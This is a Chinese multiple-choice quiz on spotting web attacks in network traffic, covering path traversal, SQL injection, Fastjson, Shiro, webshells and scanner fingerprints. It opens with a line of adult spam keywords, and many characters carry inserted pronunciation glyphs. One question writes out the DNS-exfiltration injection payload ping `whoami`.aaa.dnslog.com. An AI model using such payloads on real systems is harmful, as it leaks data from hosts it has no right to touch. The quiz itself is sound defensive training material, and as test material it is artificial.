欧美日韩在线国产,欧美毛多水多肥妇,中日精品无码一本二本三本

單項(xiàng)選擇題請(qǐng)求url為/env，/actuator/env字樣，可以判斷出后端使用的是（）

A.Weblogic
B.Tomcat
C.Apache
D.Springboot

1.單項(xiàng)選擇題攻擊數(shù)據(jù)包中出現(xiàn)多個(gè)"../"字樣，則最有可能是攻擊者進(jìn)行哪項(xiàng)漏洞攻擊（）

A.xss漏洞攻擊
B.xml注入漏洞攻擊
C.命令執(zhí)行漏洞攻擊
D.任意文件讀取

2.單項(xiàng)選擇題網(wǎng)絡(luò)攻擊數(shù)據(jù)包中，存在"Acunetix"字樣，可以判斷出此款漏掃掃描器為（）

A.AppScan
B.Awvs
C.xray
D.burp

3.單項(xiàng)選擇題網(wǎng)絡(luò)數(shù)據(jù)包中出現(xiàn)ping `whoami`.aaa.dnslog.com，攻擊者最有可能的目的是哪項(xiàng)（）

A.xss漏洞攻擊
B.單純執(zhí)行ping命令
C.把whoami命令執(zhí)行結(jié)果，通過(guò)dns域名顯示出來(lái)
D.SQL注入漏洞攻擊

4.單項(xiàng)選擇題網(wǎng)絡(luò)數(shù)據(jù)包中出現(xiàn)新增jsp、php、aspx腳本語(yǔ)言文件的加密流量，說(shuō)明攻擊者有可能正在進(jìn)行哪項(xiàng)操作（）

A.正常請(qǐng)求訪問(wèn)
B.連接webshell進(jìn)行服務(wù)器操作
C.漏洞掃描

5.單項(xiàng)選擇題網(wǎng)絡(luò)數(shù)據(jù)包中出現(xiàn)wget、curl等字眼時(shí)，說(shuō)明攻擊者最有可能采取以下哪種漏洞攻擊（）

A.xss漏洞攻擊
B.xml注入漏洞攻擊
C.命令執(zhí)行漏洞攻擊
D.SQL注入漏洞攻擊

6.單項(xiàng)選擇題在攻擊數(shù)據(jù)包中，出現(xiàn)select、database（）、user（）、version（）等字眼，可能是以下哪種攻擊（）

A.xss漏洞攻擊
B.ssrf漏洞攻擊
C.文件上傳漏洞攻擊
D.SQL注入漏洞攻擊

7.單項(xiàng)選擇題在攻擊數(shù)據(jù)包中，出現(xiàn)@type的字眼，可能是以下哪種攻擊（）

A.ssrf漏洞攻擊
B.Log4j漏洞攻擊
C.csrf漏洞攻擊
D.Fastjson漏洞攻擊

8.單項(xiàng)選擇題數(shù)據(jù)包Cookie中帶有rememberMe字樣，說(shuō)明此系統(tǒng)最有可能使用了什么框架組件（）

A.Fastjson
B.Log4j
C.Spring
D.Shiro

9.單項(xiàng)選擇題通過(guò)以下哪個(gè)平臺(tái)，可以在不對(duì)攻擊IP進(jìn)行端口掃描的前提下，初步獲取到該IP的端資產(chǎn)信息（）

A.virustotal
B.fofa
C.DNSlog平臺(tái)

10.單項(xiàng)選擇題以下哪種方式可以加快溯源到攻擊者的社交軟件ID（）

A.部署WAF
B.部署IPS
C.部署蜜罐
D.部署防火墻